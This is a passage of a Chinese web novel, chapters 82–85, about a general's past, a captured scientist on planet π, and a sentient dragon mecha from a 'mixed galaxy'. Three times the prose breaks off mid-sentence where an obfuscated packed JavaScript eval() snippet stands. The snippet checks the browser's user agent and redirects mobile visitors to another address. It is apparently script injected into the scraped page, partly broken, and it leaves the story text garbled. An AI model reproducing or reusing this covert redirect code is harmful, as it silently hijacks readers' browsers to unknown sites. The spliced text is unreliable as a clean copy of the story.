沈千峻不回应,孟飞扬跳起来:“你谁啊?不是那你还掐我干吗?” 真天选之子呗。 织梦在一旁事不关己地腹诽,存在感降到了最低。 休眠期的沈千峻力量藏得很深,孟飞扬看不见他的精神元素,大概还把他当个普通人。 沈千峻上上下下打量他一遍,淡淡道:“掐了,怎么?” “你狂什么啊?!”孟飞扬气势汹汹地上前,“知道我多能打吗?” 沈千峻指节微曲,看不见的力量陡然而至,孟飞扬被按在地上起不来。沈千峻蹲到他面前,捏着他胸前的军徽:“亨博士怎么跟你说的?来面见长官?你一个军人,就这么跟长官说话?” 孟飞扬不服输地瞪他:“你是长官吗?” 这双跟他没有一丁点相似的眼睛,或者说,孟飞扬这个跟他没有一点相似的人让沈千峻不爽。 非常不爽。 他再次掐住他的脖子,“那换个问题,你是怎么觉醒的精神力?” 孟飞扬眼底闪过惊讶,继而哼笑不吭声,挑衅地和他对视。 旁边织梦看戏看得津津有味,一道精神力却不听他使唤地飘了过去,众目睽睽地,蹭了蹭沈千峻的脸。 织梦:“……” 沈千峻满脸不可思议,眼睁睁看着它进入了孟飞扬的身体,脸色更差了。 鹰隼般的目光投向织梦,织梦耸耸肩:“不是我。 沈千峻还要说什么,孟飞扬却突然老实了,乖乖说起了他遇到39号的经历。 也许是那抹精神力撬开了他的嘴,孟飞扬可谓是知无不言。他所说的和亨博士转述的大同小异,回答沈千峻的问题。 “怎么觉醒的精神力……我也不记得了。那天和她说完话,我只有一个念头,就是回家。第二天一早是被噪音吵醒的,但家里除了我没人能听到,我妹妹耳朵很灵,都没有听到任何声音。当时吓坏了,以为自己出了什么问题,后来才发现,是我的五感提升了。” “我不知道发生了什么,也不敢让别人知道。于是自己摸索了很长时间,最近才慢慢摸到一点门道。” 沈千峻问:“她都跟你说过什么?” 孟飞扬从头到尾回忆了一遍,摇摇头:“她好像……什么都没说过,都是我在说。说到后来,她的观察员来了。那是我妈妈孟岚,我怕被她发现,就赶紧走了。” 沈千峻审视着他:“你什么都不知道。” “我知道啊。”孟飞扬突然指向织梦,“他身上有和我一样的力量。” 两道视线投来,织梦有些无奈,纠正说:“小子,我和你可不一样。” 沈千峻蹙眉问:“你又是什么……情况?怎么会有她的力量?” 织梦有绝对服从设定,玖安留下的力量一小半教他适应人类生活,一大半都是确保设定生效。 比如现在,沈千峻问,他只能实话实说。 织梦慢慢走近,弯腰鞠躬,向沈千峻做了一个他学习到的下位礼仪,缓缓地说: “我是她留给你的救兵,将军。” 82. 灾厄时代(三) 织梦说到这儿,不知想到什么,忽然停了下来。 顾深浅状似不经意,喝下一口牛奶:“然后呢?” 织梦笑了笑,“然后,我们三个互通信息,老大结束休眠期,重新做回沈大将军,领着我们打跑了π星人。” “再然后,人类实行“云汉计划”。全民觉醒精神力,在地球外围建立了隐形屏障‘云汉1号’。地球就此休养生息,灾厄时代宣告结束。” 织梦不经意地拐了一眼,忽然说:“你怎么突然关心起灾厄时代的事?” 顾深浅把玩着叉子:“你记得孟一兰吗?” 织梦:“当然。” 她平静地说:“她就是沈千禾。” 织梦:“?” 停在顾深浅身后的两人,徐飞扬诧异地扭脸看去,沈千峻眉头都没皱一下,只是晦暗不明地盯着顾深浅的背影。 织梦见沈千峻没有打断的意思,又问道:“我先前就想问了。就算你再活一次,精神力遵循本心,也应该是找更亲近或者更有母性光辉的人,怎么会找到孟一兰?” “孟一兰没有母性光辉吗?”顾深浅敛眸,“她会这么对顾深浅,只是因为知道顾深浅是玖安。至于亲近,大概是误会了。” “误会?” “我的潜意识,大概是被这个名字吸引了。” 织梦目光一动:“你是说,让你觉得亲近的是孟岚?” “大概吧。”顾深浅继续说:“昨天她来医院找我,说我和沈千峻会在极光区出事。” 织梦正色问:“怎么说?” “没细说。只说看到个画面。”顾深浅说,“她私下告诉了我她的身份,还有玖安死后的一些事。反正神神秘秘的,所以我找你求证一下。对了,沈千峻还不知道,你别在他面前提起。一会儿他问起来,你又得说漏嘴。” 织梦摸摸鼻子:“他原本可能不知道,现在应该都知道了。” 顾深浅:“?” 织梦抬抬下巴,顾深浅明白过来,匪夷所思地用眼神杀了这个卖队友的东西无数次。织梦无奈地撇嘴。 顾深浅冒了一身冷汗,僵硬地回头,对上沈千峻似笑非笑的眼。 不等顾深浅说什么,沈千峻瞥了眼徐飞扬,徐飞扬咳了一声,坐到顾深浅旁边:“顾工。” 顾深浅乖乖地递上胳膊,褐瞳躲闪着不敢看沈千峻,却又好几次下意识地往后瞟。 他好像都没有走过来。 淡淡的青色缠绕着钻进她的手腕,温和地修复着骨血里肉眼不可见的伤口,顾深浅渐渐没那么疼了。 “没有骨折,轻微骨裂。一般S级几分钟,最多十分钟就能自愈的伤。”徐飞扬说:“怎么弄的?力道控制得挺好。再严重点你就得去找医生了。” 顾深浅:“……你还是不知道的好。” “……” 徐飞扬欲言又止了好几次,还是没忍住着问,“你真是玖安?” “……大概吧。” 徐飞扬微微前倾,指着自己说:“那你还记得我吗?我之前姓孟,叫孟飞扬。” 顾深浅话到嘴边又改了口:“嗯,记得的。” 徐飞扬咧开嘴角,乍一看真有点当年孟飞扬的影子。他兴致勃勃:“那你记不记得……” “你好了没?”沈千峻冷漠地打断,“话这么多。” “……好了。” 徐飞扬干巴巴地答,他遗憾地看了顾深浅一眼,站起来让位,那模样像是被主人去驱赶的小狗,竟然隐约带着几分幽怨。 织梦察觉气氛诡异,也站起来,拽着徐飞扬说:“今天早上是不是和下沙城那边几个大区有联合会议?你上次要的材料我找着了,走,看看去。” 徐飞扬更加幽怨了:“那是明天。” “所以今天找材料。”织梦脸不红心不跳,连拖带拽地拉着他撤离,临走良心发现,热心提醒:“再过半小时晨练的就该来吃饭了,食堂人可多呢。” 顾深浅:…… 谢谢您嘞。 空气微妙起来,他们一个站着一个坐着,不知是出于什么心理,愣是没一个动弹的。 顾深浅一面觉得心虚,一面又觉得好没道理。 瞒着他的是沈千禾,她也算是半个受害人了,心虚什么呢? 越想越有底气,顾深浅状似不经意地侧过脑袋,却恰好见沈千峻在她旁边坐下,吓了一跳:“你走过来一点动静都没有?” 沈千峻:“你没听见。” “……你说是就是。” 顾深浅斟酌着措辞,沈千峻小心地握住她的手,指尖轻轻划过她受伤的地方:“还疼吗?” 那里的红肿已经消下去,顾深浅摇头:“徐队的治疗很管用,一点儿都不疼了。” “他的本命技能就是治愈,只要人还有一口气在,他都能救回来。但是有局限性,终生只能治愈一个对象。对于除我之外的人,徐飞扬的治疗范围非常有限,而那种程度的伤,在特监处,几乎人人可以自愈。现在有特例了,除了你。” 顾深浅摸摸耳垂,不吭声。 沈千峻握着她的手劲儿忽然一重,顾深浅本能“嘶”出声,她恼怒地瞪过去,正对上沈千峻带着嘲意的笑:“这是不疼了?” “…………” 沈千峻有时候真的有点毛病。 顾深浅深呼吸:“需要我提醒你我怎么受的伤吗?” “不用。”沈千峻笑容真切了几分,低下头亲了亲她的手腕。 也许是心理作用,顾深浅隐约觉得她是真不疼了。 沈千峻忽然说:“我那时候是真不想活了。” 顾深浅一怔,飞快地意识到他说的是什么时候。 “刚见到徐飞扬的时候,他还叫孟飞扬。呵,我气坏了。” 他就这么靠在食堂的座椅上,口气自然地说着顾深浅背着他打听的事。 这个点的食堂空无一人,顾深浅还是心有余悸地圈上一层结界,边问道:“嗯?气什么?” 沈千峻侧首望着她,目光莫名让人觉得温柔缱绻,他轻笑一声说:“不知道。” “织梦藏了点没告诉你,我一开始没有结束休眠期。”沈千峻说,“我拒绝了出战。” “我欠人类的,已经还清了。” 顾深浅并不意外,安静地看着他。 “联盟找了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177789|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很多人,劝过很多次,包括千禾。可我真的累了,我不想再拯救谁了。” 顾深浅:“是织梦改变了你的想法?” “算吧,也不是。”沈千峻说,“织梦让我在徐飞扬身上,又见了你一面。” 顾深浅怔住。 “他把徐飞扬的记忆摊在我面前,给我看比之前更加惨烈的战场,看挣扎求存的人类,看他们为了保护自己重要的人而奋不顾身。” “我还是无动于衷。” “他才给我看了真东西。” 沈千峻顿了顿,望过来,“你真的很偏心。” 顾深浅:“?” “你最后残存的精神力分成了两部分,一部分给织梦,教他适应人类生活;另一部分全给了那个傻子,教他觉醒力量,使用精神技能。” “就我,什么都没有。” 顾深浅:“……” 沈千峻似乎并不想要她回答,加快语速说,“徐飞扬这个傻子,傻得连你的精神力都感知不到,完全没反应过来自己觉醒,还觉得是闹鬼了。” “好在我目光如炬,一下就找到你了。” 顾深浅莞尔:“然后呢?” “然后?”沈千峻又露出了那似笑非笑的神色,“然后你虚弱的灵体求我,为你守一个太平盛世。我答应了。” 顾深浅:“……”啧。 “你留了一个精神控制的外挂给我,又给我配了专攻防御和治疗的徐飞扬,还为我留了一个汇集着历代最隐秘智慧的海底研究所。我很难辜负你的期待吧?” “π星一败涂地,落荒而逃。但人类的损耗太大了,剩余人口不到五位数,离灭亡仅仅一步之遥。如果他们卷土重来,我也没把握再打一次。”沈千峻说,“我们商量的最好结果,就是先把地球藏起来。至少先喘口气,让科技和民生先缓过来,再慢慢发展军事。等到有一天有自保的力量,才是我们再次置身银河的时候。” 顾深浅:“在宇宙里藏起一颗地球,靠当时的剩余资源,很难做到吧?” 沈千峻:“可视化资源是做不到。只能另辟蹊径” 顾深浅:“云汉1号?” “是。”沈千峻说,“呼吁全民觉醒精神力,倾尽每个人的所能,日复一日地搭建隐形屏障。也就是让地球上漂浮的元素一点点形成大型的,可持续的隔离结界,把地球和宇宙隔绝开来。从此,宇宙中再找不到地球的定位,地球从此消失在宇宙里。” 顾深浅想了想,“这么大型的隔离结界,不到五位数的人口,一次的力量不够吧?精神力无法储存……你们有容器?” “是。”沈千峻没有展开,而是继续说道。“云汉1号成功建立后,徐飞扬担任联盟安全总署的署长,抹掉我和你,还有织梦全部的公开记录。我功成身退,准备想办法去死。” 顾深浅拍了他一下,对上沈千峻看过来的目光时撇撇嘴,“手滑。” 停了停,补充实话:“并且不爱听。” 沈千峻勾唇笑起来,“没死成,死不成。你交代的任务没完成,那还远不是个太平盛世。” “云汉1号建立的次年,我在沙漠里抓到一只π星生物。” 83. 灾厄时代(四) 顾深浅皱眉:“意思是,π星生物的第二次撤退是假的?” “大部队是真的退了。”沈千峻说,“但还有一批虫子,就好像焊死在地球上。” “那时候我已经甩手不管事了。一片废土下,土地是最不值钱的,我就趁机占了角周海岸,在海边搭房子。全民精神力觉醒,联盟新建,百废待兴,他们俩忙得头角倒悬,除非有新的SSS诞生,否则不敢来烦我。” 顾深浅隐约觉得不对:“徐……孟飞扬,他当时才多大?就算有织梦在,也担不住吧?” “不到二十岁。”沈千峻轻描淡写地说,“我担起人类种族的生死存亡前,也不觉得自己担得住。” 顾深浅还要说什么,再一想还是作罢。 两百年前的既定事实了,她现在说什么都没有意义。 直到今天,孟飞扬成了徐飞扬,他都是联安署的署长,也足以证明沈千峻的决定没有错。 沈千峻好像知道她在想什么,忽然鼻腔“哼”声:“你还真是心疼他。” 顾深浅:“?” 沈千峻话锋一转:“你心疼得也没错,他确实担不住。” “……?” “没两天就哭哭啼啼地跑过来,一口一声哥,说自己不行,不干了。” 顾深浅不小心“噗嗤”笑出了声:“看来心疼他的另有其人。” 沈千峻面无表情地盯着她。 顾深浅举手投降:“我错了,你继续说,不打断你。” 沈千峻淡淡地继续:“一个月里,联盟发生了六起案子,受害者死状惨烈,血肉模糊,不像人为。说是兽类,却又找不到匹配的物种。但,那伤口徐飞扬一眼就能认出来。” 顾深浅:“是π星?” “是。” 顾深浅:“云汉1号建成起就是双向隔绝,如果真有漏网之鱼,他们逃不出地球。以π星的科技水平,用不了多久就会发现他们已经联系不到母星了。也许是这样归乡无望的情绪下,有成员失去了控制,恶意向人类报复。” “是个不错的猜想。”沈千峻说,“可惜,π星虫子的凝聚力似乎比人类稍强一点。死去的六个人并不在同一地区,死状也各异。太理智了,不像是虫子失控之后的表现。” 顾深浅有种莫名的感觉,沈千峻好像在刻意哄着她似的。 她视线落到一边,试图平复暗自加快的心跳,还得分出理智继续对话:“是怎么回事?后来查出来了吗?” 沈千峻说:“虫子好像知道我开始查他们似的,很长时间没有动作。我和织梦费了点工夫才在沙漠外围找到了踪迹,潜入沙漠两个月,抓到一只虫子,杀了。” “回去才听说,研究所的人听说事情可能和π星有关,把去世的六个人都带了回去。他们发现这些人身上还有一点共通处。” “他们都被注射过同一种物质,是地球上从未发现过的元素。” 顾深浅脸色逐渐难看:“你是说,两百年前,他们可能就在用人类做实验。” 沈千峻言辞严谨:“研究所的推测是这样。并且认为这并不是实验的第一步,虫子当时可能就已经在地球搭建了他们自己的实验基地。” 顾深浅接道:“打仗的时候兵荒马乱,地球每天有很多人尸骨无存。这些人到底是死了还是被π星人抓了起来,没人会知道,战时也没人会追究。他们在无人的地方搭建一个实验基地,也根本不费吹灰之力。” 沈千峻:“是这样。我和织梦击杀的那个π星人成为这一切的佐证,联安署决定设置‘特殊事件监察处’,专门负责追查π星人的相关事件。” 他话锋一转,说道:“借这个机会,我定了一些规矩,于是有了官方支持的途径,年复一年地接触每一个S级以上的新生儿,去找一个女孩。” 顾深浅转过脸,对上沈千峻敛着的黑眸,心脏被各种情绪塞得满满登登,仿佛有什么东西溢出来。 沈千峻忽然勾唇,抬指弹了下她的额头。 “嘶——” 顾深浅吃疼地捂着脑门儿,沈千峻笑道:“下次,想知道什么就直接问我。” “一扭脸发现你不见了,不是什么愉快的体验。” 顾深浅捂脑门儿的手有点僵硬。她硬是揉了半天才慢慢放下,缓慢又突兀地说:“我知道的。” 沈千峻视线落在她的发顶,眉眼柔和:“知道就好。” 顾深浅呼出一口气,在吐息之间做了决定。她定定地看着沈千峻:“我知道π星生物在研究什么。” 沈千峻脸色微变。 顾深浅给他讲了一个,地球上未曾流传过的故事。 旧历2805年,带着人类另一半生存希望的宇宙探索队,月见小队踏上了地球编号03141的星球,简称为π星。 领队秦宓在π星失踪,这里地势特殊,月见小队其他成员搜寻无果,只能先行撤退。临走时他们留下了地球的信号坐标,为π星和地球建立了友好沟通的桥梁,并与π星的领导人达成一致,一旦得到秦宓的消息,π星必会在第一时间给地球发送通讯。 然而十年过去,地球始终没有收到来自π星的任何消息,领队秦宓被认定死亡,消失在茫茫宇宙中。 事实上,秦宓没有死,也没有失踪。 她只是被π星领导者囚禁了起来。 秦宓本人是地球科研水平的最高象征,尤其是天文物理,她对地球和宇宙的了解,足以让科技发达程度远超地球的π星人,也对她另眼相看,因此才会怀着孕依然坚持参与太空探索。 但也只是另眼相看,倒也不至于把人囚起来。 真正让π星对她动手,是因为她发现了这颗星球的强盗本质。 这颗被黄沙淹没的星球上,资源甚至比当下的地球更匮乏得多,科研水平却肉眼可见地比地球高出太多,尤其是军事力量上。 这让秦宓心存疑窦,但说出来更像是弱者的嫉妒,不该存在于两个友好邦交的星球间,秦宓没有多说,她选择单独找到了白天带他们参观的π星人,希望了解他们更多的文明发展进程。 而在这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177790|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过程中,秦宓的疑问始终没有得到解答。在她失望离去,再去而复返时,却听到了从未想过的真相。 π星是一个通过侵略和掠夺来维持自己的发展的存在。他们是这颗荒芜星球上唯一的活体,这里不见日光,也没有月光,常年湮没在黑暗的夜幕里,偶尔照亮方向的只有璀璨银河。 偏偏π星另外的特色,是飓风和沙尘。 风卷砂起时,哪怕是提及巨大的π星生物也会被撕碎掩埋。 这两样隔绝了生物追逐银河的可能性,把他们逼到地底,滋生了一个阴暗的种族。 他们认为自己顺应黄土的传承而来,在黄土的诅咒下死去。 直到这座星球的第一个外来访客降落。 那时候的π星生物还没有那么形容可怖,他们的四足笔直,上面没有眼睛。在信号转换的帮助下成功与外界沟通,坐上了大到能荣拿得下他们的飞船去到了别人的星球。 外界缤纷得眼花缭乱,是π星终其一生都看不到的景象。 嫉妒、贪婪、占有等诸多加持下,他们仗着自己的身量优势和对方的信任,第一次在一个星球上烧杀抢掠,大肆屠戮。 有些事情,只有第一次和无数次。 他们占据了那颗星球的资源,抢来了自己没有的科技,却因为习惯了黑暗,无法适应光明的生活,最终还是只能生活在π星的地底。 他们不断地掠夺,不断地强化自己,也慢慢在几个互通的行星间臭名昭著,几次引起了远方混合星系的注意。 混合星系有星系中最神秘的战队,没人愿意招惹他们。 他们虽然维持着周围星系的太平,虽然出于种种原因,π星的所作所为一直没引起他们的注意,可一旦他们真的来到π星,对于这些阴暗的生命来说,将是灭顶之灾。 于是,π星生物低调地藏回地下,π星也逐渐成了无人踏足的地方,直到出现了从远方来探索的“幸运儿”,地球人。 怀着孕的秦宓意外状况比她预料得更多,听到这话没稳住,一个踉跄间便出了声响。 她被π星人发现了。 秦宓失去了自由,而幸运的是,她还活着。 她对阴暗丑陋的π星生物来说,有着无可替代的价值。 π星为了躲避混合星系的注意已经蛰伏了太久,久到赖以生存的能源正在逐渐告罄。 他们已经不能再坐以待毙了。 顾深浅正要往下说,沈千峻把玩着她手指的动作倏地一顿,目光望向门口,又转向她:“听到了吗?” “什么?” 她愣了愣,顺着沈千峻的视线望去,空无一人的食堂寂静得只能听到自己的呼吸声。 五分钟后,两个姑娘结伴走进食堂,嘴里念念有词地说着什么,嬉笑声没有断过。 她们没注意到这边,径直吃早饭去了。 顾深浅眼睫微动,没有说话。 沈千峻牵着她站起来:“走吧。” 顾深浅问:“去哪?” “先驯服你的龙。” 84. 霍普安德皮斯 顾深浅跟着沈千峻走出食堂足有五分钟,突然反应过来:“这不是去三区的路吧?” “不是。”沈千峻五指叩着她的,漫不经心地说:“科研组九点上班,你一个三组组长,大清早去隔壁实验室参观,合适吗?” 顾深浅隐隐觉得哪里不对,“那你说我们去驯龙?” “哄你跟我走的。” 他话里带着笑,顾深浅怔怔望去,晨曦洒在沈千峻脸上,路过的微风缠绕着他的发梢,唇边挂着狡黠的笑意,面部曲线格外柔和。 他不轻不重地捏捏顾深浅的鼻子:“逗你的。你的故事还没讲完,讲完就带你去。” 顾深浅眨眨眼:“嗷。” 沈千峻滞了一瞬,随即清清嗓子:“你说虫子囚禁了秦宓,但没有杀她。他们想干什么?” 顾深浅说:“是,他们想变成人。” 沈千峻却没有她预想的意外,他点点头:“意料之中。” “嗯?”顾深浅眯着眼打量他两秒,“你才没猜到。” “月见小队的探索历程,不巧我都看过。π星虫子在大部分领域的科研造诣都遥遥领先人类水平,唯独在生物生命方面,他们一直没有突破,常年只能生活在冰冷阴湿的地底。” 沈千峻说:“见过光的生命,有几个甘愿一辈子活在地底?” “那倒不是。”顾深浅说,“他们甘愿,而且很享受。他们想变成人不是因为这个。” 沈千峻牵着她走上长廊,闻言侧首看她:“是吗?那是为什么?” “他们因为大肆侵略引起了混合星系的注意,所以多年蛰伏着不动。但03141星上没有希望,一直躲下去解决不了族群的问题。送上门的地球人显然给了他们新的方向。” 沈千峻配合地问:“什么?” 顾深浅说,“如果实行侵略的,是和大部分哺乳动物长相相似的,看上去柔弱无害的人类呢?” 她在长廊上站住,望着前方的海天一色,深吸一口气:“来自遥远的蓝色星球的,弱小、柔软、无害的人类,混合星系就算要追究,也将跟π星毫无关联。” 沈千峻问:“想用地球作掩护,还攻打地球?” 顾深浅唇角勾起嘲讽的弧度,沈千峻挑挑眉:“看来他们的打算落空了。” 顾深浅说:“他们的身体构造和我们完全不同,要把发展成熟的节肢类动物改成哺乳动物,这是实现物种转换。秦宓是科学家,又不是造物的神。” 沈千峻:“这么明显的不可能事件,他们为什么还会抱有期待?” “一方面,他们已经没有其他办法了。另一方面,”顾深浅忽然勾起唇,“当然是秦宓糊弄他们的。” 沈千峻:“?” 顾深浅耸耸肩:“她落入敌手,总得自己找个活下去的办法。既然虫子在生物学上懂得最少,对哺乳动物一无所知,这就是最好的谎言。” 沈千峻了然,也笑着摇摇头。 顾深浅说:“月见小队离开后,秦宓切断了π星和地球间的通讯,不动声色地删掉了地球的坐标。她自己则是一边假意配合π星的实验,一边暗中进行自己的研究。没有实验成果的时候,秦宓也会给他们讲一些生物学课程。” 沈千峻问:“她在研究什么?” 顾深浅沉默半晌才说:“超自然进化。” “你去过海底实验室,应该看过里面的材料。那些都是她的历史遗留项目。包括人造人,织梦。”她看向沈千峻,眼底是不难察觉的歉疚,“包括让你受尽折磨的超自然进化项目,起先的研究方向,都是她定下的。” 沈千峻反应平静得似乎毫不意外:“看来她不仅在天文物理上有造诣,生物学上也是专精。” 顾深浅笑着说:“是,她很厉害,好像没有她不会的东西。” “那后来呢?她怎么样了?” “后来,”顾深浅轻轻地说,“她发现了精神元素,感知到和元素交流的方法,就是现在所说的,觉醒了精神力。最后……” “死在了π星。” 沈千峻牵着她的手,紫色的精神粒子悄悄包围起他们。 顾深浅说:“秦宓的孩子在π星出生,他们相依为命度过了十年。十年后,第二支来自地球的探索队在π星降落,他们吹嘘地球的富饶,在提起生物进化时,吹嘘他们的人类超自然进化项目,直言跨物种进化不可能发生。π星的节肢动物终于发现他们被秦宓耍了,怒不可遏要杀了秦宓和她的孩子。” 她平静的语调在此刻裂了缝,带着轻颤说:“她能控制一整个π星的元素,她已经逃走了。” “是她的孩子自己走了回去。” “为了救她的孩子,她才会死。” 沈千峻不知何时拥住了她,摁着她的脑袋靠在他肩上,无声地安慰。 顾深浅拍拍他的手,示意自己没事。 “她用自己的力量,把π星的精神元素全部打入了我体内,用自己的拖住了π星的追兵,在最后一刻把我送上了探索队的飞船。” “我的基因序列里有一个执行程序,我一出生他们偷偷植入了。”顾深浅靠在沈千峻的肩上,“而基因序列,植入方式……这些,每一点从妈妈这儿学的。” “妈妈逃跑那天,我在强制执行的命令下走了回去。π星撤离那天,我在同样的命令下……杀了你。” 沈千峻亲吻她的发顶,他们在晨光中依偎,阳光的温暖在这一刻得到了具象。 他们一直在长廊磨叽到快九点,才不紧不慢地往三区去,到3A区时九点已经过半个钟了。 顾深浅跟着沈千峻长驱直入,路上没遇到一点阻碍,往里都是封闭实验室,一路也没见到人,顾深浅低声问:“怎么呢?二组这个点还不开工?三组可是天天上岗,不能差别待遇啊领导。” 领导扫了眼叩着的十指,“适当的差别待遇还是要有的。” 顾深浅:“……” 二人一路走过拐角到底,沈千峻推开门,是个更衣间:“换衣服,一会儿从另一边门出来碰头。” “好。” 顾深浅换完隔离服出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201507|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,跟沈千峻一起出来的还有两个穿着白大褂的男人,见到她礼貌地点头。 沈千峻:“他们俩负责天龙。” 顾深浅也点点头,算是打过招呼。 略年长的男人走在前面,“天龙算是寄存,没有做专门的立项。截至昨晚还是不见生命体征,一会儿进去看看情况。” 说话间,观察室门已打开,战甲安静矗立在中央,副甲龙身安分地盘旋在主甲上。虽然没有生命体征参数,精神领域却十分平稳,像是陷入了沉睡。 顾深浅说:“我想进去看看。” 男人请示般看了一眼沈千峻。 沈千峻不说话。 顾深浅知道他顾虑什么。 她没有任何精神技能,现在和最普通的精神人类没有区别。一旦天龙有什么异动,在实验室里同处一室的她将第一个被波及,而她没有自保能力。 即使她是唤醒天龙的人,即使天龙救过她,没人能保证沉睡了这么长时间,有自我意识的战甲不会做出伤害人类的事。 哪怕是人造人项目出身的织梦,在出世前,顾深浅都必须用自己力量留下三道原则禁锢他,更别说通过自身觉醒自我意识的战斗机甲。 顾深浅诚恳地说:“我有分寸的。” 沈千峻无声地看着她。 “……” “那……”顾深浅试探地问:“你跟我一起?” 沈千峻秒答:“好。” 众人:“……” 沈千峻跟着她进去也只站在一边,不怎么走心地保证不会干涉顾深浅的行动。 顾深浅站在天龙面前,金色粒子点点飘出,化出长了翅膀的迷你精灵,飞到龙头耳边。用悄悄话似的音量喊:“天龙?” 依然没有反应。 顾深浅微微蹙眉,思考片刻,金色元素再次化成一缕缕光线钻进机甲里。 她在心里默念着一二。 果然,不出三秒,紧闭的龙眼掀开,露出一双金色瞳孔。紧接着,高大甲身缓缓蹲下,龙头伏到顾深浅手边,带着机械的男声传出:“好久不见。” 顾深浅扬起嘴角,笑得很开心。她捧起龙头亲昵地蹭蹭:“我叫顾深浅。给你也起个名字吧?” 沈千峻眉头高挑,不爽攀升到了巅峰,进来之前说好的“不会干涉”被抛诸脑后。他拎着顾深浅后退一大步,面无表情地看着有生命的机械龙头,冷漠地提醒:“保持距离。” “……”顾深浅试图讲道理,“他是我的战甲。” “现在是活的。” “……” 天龙的声音忽然传出:“我有名字。” 顾深浅问:“天龙?” “不。”天龙说,“我叫霍普安德皮斯,在地球语言中,是希望的意思。” 二人对视一眼,顾深浅问:“是谁给你取的?” 天龙:“是我的母亲。” 沈千峻挑挑眉:“你从哪里来?” 天龙一双金瞳坦然地和沈千峻对视:“我来自混合星系,安全特遣队。” 85. 混合星系 星系也称为宇宙岛,是宇宙构成中的基本单位。比如地球所处的银河系,就是一个涵盖了各类基本组成的大星系。 地球可观测到的星系有上千亿,都保持着或大或小的距离。有的会组成星系群,或者聚集成更大的超星系团。 而混合星系,却是一个超脱常识,从未出现于地球的概念。 六个以上的超星系团交叉重合,产生了巨大的能量波动,每隔一段时间重叠的超星系团就会更迭跳跃,变成截然不同的另一个星系。 周期不定,类型不定,没有规律,一切仿佛都是随机出现,又去往无人知晓的未来。 在这里,时间、空间都处于极不稳定状态,时间流速都与外界不同。 一些生命降落在这里,被宇宙的力量冲散后,极容易被更迭过快的星系遗漏。也正因为这样,这片诡谲神秘的领域里,存在着最多元的生物。 他们来自不同时空,不同星系,也许是同类;也许是天敌,却无一例外地必须在这里挣出一条生路。 久而久之,混合星系真的出现了一个看似稳定的区域。 常年存在,没有更迭,包容下了各类不同的生命。 有生命的地方就有规则,为了维护常态秩序,这里也诞生了一支维护基础规则的队伍,正是安全特遣队。 他们被誉为正义的队伍,只维护规则,不维护生命。 星际社交互通后,这支队伍莫名声名大噪。 据说,他们会惩罚每一个不守规则的星球。 混合星系外,没人见过他们。但远近的小星系却都因着这个传言很安分,一直维持着友好邦交。 会议室里,沈千峻听到这儿挑起眉,挑剔地打量了一遍掺杂着金色的半透明精神体。 精神力搭建的内部通讯里,他的信息在顾深浅面前弹开:【维护星系太平的神秘战队?π星的灭顶之灾?就这?】 顾深浅白了他一眼。 织梦问:“你又怎么会附在战甲上?天龙……不是,霍普安德皮斯?” 半透明的精神体趴在桌子上,霍普安德皮斯的声音褪去了战甲的机械化,听起来像个普通男青年。他有点委屈地说:“我没有附在战甲上,我只是睡着了。” 杨楠公放的光脑上跳出了天龙的存档资料,她简练地总结:“天龙战甲的创作始于一百二十年前,由当时的军备工程部设计完成。前后共发布过六次版本,最初的项目材料已很难考古,但其中有一样材料来源一直很明确。” 杨楠点开素材影像,光影成像投射在众人眼前:一团焦土。 顾深浅撑着下巴,眯起眼辨别了三分钟:“这不会是战场回收的报废星舰吧?” 杨楠意外地看了她一眼:“是。具体的记档已经找不到了,根据现有存档推测,精神文明时代建立之初,联盟曾花费大量时间精力进行战场清扫,回收了相当一批物料进行封存或研究。这个……星舰,也是其中一样。但很长一段时间里人类的首要任务还是活下去,对回收物料的开发利用研究得很缓慢。所以直到八十年后,这批物料才得到了启用。” “所以,”顾深浅目光落在半透明精神体,“你在π星入侵的时候来到的地球,然后一直睡着了?霍普……先生,到底是怎么回事?” “你叫我霍普好了。”霍普这会儿似乎又有些不好意思,看她一眼又偏过了脑袋,“我没赶上π星入侵。我来的时候你们已经打完了。” “这是我第一次单独执行任务,来的时候先去了π星,再到地球忘记调整地球的适配形态,结果一进入地球,星舰就因为压强失控坠毁了。我在当时在宇宙里已经飘了好久,又很困,干脆就睡了一觉倒时差。没想到倒完时差,我已经和一堆不认识的材料连在一起,变成了人类使用的战甲天龙。” 众人:“……” 霍普:“我的意识虽然还清醒在战甲上,但战甲上用到的星舰材料少得可怜,而我自身的力量附着在星舰上,散落在地球各处。我只能一边通过多年人类精神力的温养,一边慢慢找回自己的力量。直到顾深浅不顾自己安危也要保护战甲的勇气,和她强大的精神力,一下子为我散落四处的力量找到了方向,我才终于得以觉醒。” 会议室一片寂静,半晌,徐飞扬先开口说:“不是。” 